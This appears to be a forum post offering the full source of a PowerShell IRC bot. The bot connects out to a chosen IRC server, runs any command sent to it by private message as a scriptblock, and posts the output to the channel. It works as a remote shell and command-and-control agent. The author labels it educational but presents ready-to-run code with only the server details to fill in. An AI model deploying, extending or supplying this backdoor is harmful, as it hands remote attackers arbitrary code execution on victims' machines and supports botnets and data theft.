[Sukob]

Below is a basic powershell IRC bot, to use it is very simple,
put in the relevant information and start the bot.
Join the same channel with your IRC client and privmsg the bot, it will execute the command then
send the output line by line to the channel

Bot is only for educational purposes/ to teach. It is not very stable.
Have fun messing with the code!

Tested on ngircd with irssi

[string]$server = "server_ip"
[int]$port = server_port
[string]$uid = "bot_name"
$channel = "#bots"
function send($writer, $text) {
    $writer.WriteLine($text)
    $writer.Flush()
}
function proc($line, $writer) {
    $info = $line.Split()
    if (($info[1] -eq "PRIVMSG") -and ($info[2] -eq $uid)) {
        $cmd = $info[3].trim(":")
        $script = [Scriptblock]::Create($cmd)
        $cmd = try{icm -ScriptBlock $script|out-string}catch{$_|out-string}
        return $cmd
    } else {
        return "-"
    }
}
$client = New-Object System.Net.Sockets.TcpClient($server, $port)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
send $writer ("NICK $uid")
send $writer ("USER $uid 0 * :$uid bot")
send $writer ("JOIN $channel")
$reader = New-Object System.IO.StreamReader($stream)
while ($client.Connected) {
    if ($stream.DataAvailable) {
        $line = $reader.ReadLine()
        $output = proc $line $writer
        if ($output -ne "-") {
            $output = $output -split "\r?\n"
            foreach($line in $output) {
                send $writer ("PRIVMSG $Channel :$line")
            }
        }
    }
    Start-Sleep -Milliseconds 100
}
$writer.Close()
$reader.Close()
$client.Close()

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